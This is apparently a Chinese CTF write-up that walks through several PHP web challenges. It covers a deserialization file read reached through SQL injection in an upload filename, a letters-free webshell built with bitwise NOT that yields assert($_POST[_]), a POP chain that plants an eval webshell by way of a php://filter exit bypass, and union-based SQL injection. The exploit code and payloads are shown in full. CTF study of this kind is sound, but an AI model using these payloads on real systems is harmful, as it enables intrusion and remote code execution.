$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}

public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}

public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}

public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}

public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}
?>

可以发现view_files方法中file_get_contents,可以进行文件读取,而show.php中存在unserialize,那么就可以进行反序列化读取文件。

PHP反序列化

构造poc

1
2
3
4
5
6
7
8
9
<?php

class helper{
protected $config = "/flag";
protected $ifview = true;
}

$x = new helper();
echo bin2hex(serialize($x));

使用十六进制编码是为了绕过protected。

sql注入

反序列化构造完成了,接下来就是看看如何到达入口。

从show.php中可以看出,入口是sql读取的attr键值,而我们在上传时会经过一个check()函数。

1
2
3
4
5
6
7
8
9
10
11
12
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

这里我们只有$filename可控,而$title的值为上传的文件名去掉后缀的值,即上传了一个文件名为a.png,则title为a。

于是我们可以控制title时后面的语句失效,从而达到控制变量的目的,这样attr的键值就可控了。

修改文件名上传。

filename=”1’,’1’,’1’,’1’,0x4f3a363a2268656c706572223a323a7b733a393a22002a00636f6e666967223b733a353a222f666c6167223b733a393a22002a00696676696577223b623a313b7d)#.png”

上传后去show.php执行,就可以拿到flag了。

flag{ab9b67fb-c05c-45ce-b223-c9bb1247dc34}

[SUCTF 2018]GetShell

无字母数字upload

找了找发现只有upload的点,还有黑名单。

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

简单测试一下发现只给了一些字符,字母和数字都ban了。

异或也没了,那只能取反了,这里直接给poc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$__=[];
$_=($__==$__); // 1
$__=~(融); // a
$___=$__[$_];
$__=~(匆); // s
$___.=$__[$_].$__[$_];
$__=~(随); // e
$___.=$__[$_];
$__=~(千); // r
$___.=$__[$_];
$__=~(苦); // t
$___.=$__[$_];
$____=~(~(_)); // _
$__=~(诗); // P
$____.=$__[$_];
$__=~(尘); // O
$____.=$__[$_];
$__=~(欣); // S
$____.=$__[$_];
$__=~(站); // T
$____.=$__[$_];
$_=$$____;
$___($_[_]); // assert($_POST[_])

上传后在phpinfo的环境变量里可以看到flag。

[EIS 2019]EzPOP

题目给出源码,有点复杂的 POP 链构造,但主要知识点不难。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

主要的点是这里

1
2
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

这里就是要绕过 死亡exit 了,具体看P神的解释,利用 php://filter/write=convert.base64-decode/resource= 来绕过

其实也没啥好说的,找到攻击点往上推就行了,这里直接放 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class A {
protected $store;
protected $key;
protected $expire;

public function __construct(){
$this->key = 'R0SW3.php';
}

public function give($store){
$this->store = $store;
}
}

class B {
public $options;
}

$a = new A();
$b = new B();
$b->options['serialize'] = 'strval';
$b->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$b->options['data_compress'] = false;
$b->options['expore'] = 1;
$a->give($b);
$object = array('path' => 'aaa' . base64_encode('<?php eval($_POST["R0SW3"]);?>'));
$path = 'test';
$a->cache = array($path => $object);
$a->complete = 'test';
echo urlencode(serialize($a));

tips:由于 A 类里用的是 protected ,最后要记得 urlencode 编码。

最后直接蚁剑连或者进入文件进行RCE就行了。

flag:

flag{4485bf1d-37bc-412f-8e24-6043aebf71a4}

[b01lers2020]Life on Mars

这题的难点是作者放了多个数据库,但其实没 ban 什么东西,好搞。

源码的 life_on_mars.js 提示了注入点(抓包也可以看出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function get_life(query) {
$.ajax({
type: "GET",
url: "/query?search=" + query,
data: "{}",
contentType: "application/json; charset=utf-8",
dataType: "json",
cache: false,
success: function(data) {
var table_html =
'<table id="results"><tr><th>Name</th><th>Description</th></tr>';
$.each(data, function(i, item) {
table_html +=
"<tr><td>" + data[i][0] + "</td><td>" + data[i][1] + "</td></tr>";
});
table_html += "</table>";

$("#results").replaceWith(table_html);
},

error: function(msg) { }
});
}

这里 /query?search= 参数输入地名就可以查到数据,直接上 union

前面的测试不说,当前数据库拿不到东西,直接查其他数据库。

1
url/query?search=amazonis_planitia union select 1,schema_name from information_schema.schemata

查到三个数据库,information_schemaalien_codealiensaliens 是当前数据库,information_schema 这个是MySQL自带的信息数据库,那么就只剩下一个了,直接上流程。

查表

1
url/query?search=amazonis_planitia union select 1,group_concat(table_name) from information_schema.tables where table_schema='alien_code'

[“1”,”code”]

查列

1
url/query?search=amazonis_planitia union select 1,group_concat(column_name) from information_schema.columns where table_schema='alien_code' and table_name='code'

[“1”,”id,code”]

查数据

1
url/query?search=amazonis_planitia union select 1,group_concat(code) from alien_code.code

[“1”,”flag{8960d9d6-f9f7-43d7-9396-09f3dc305e0d}”]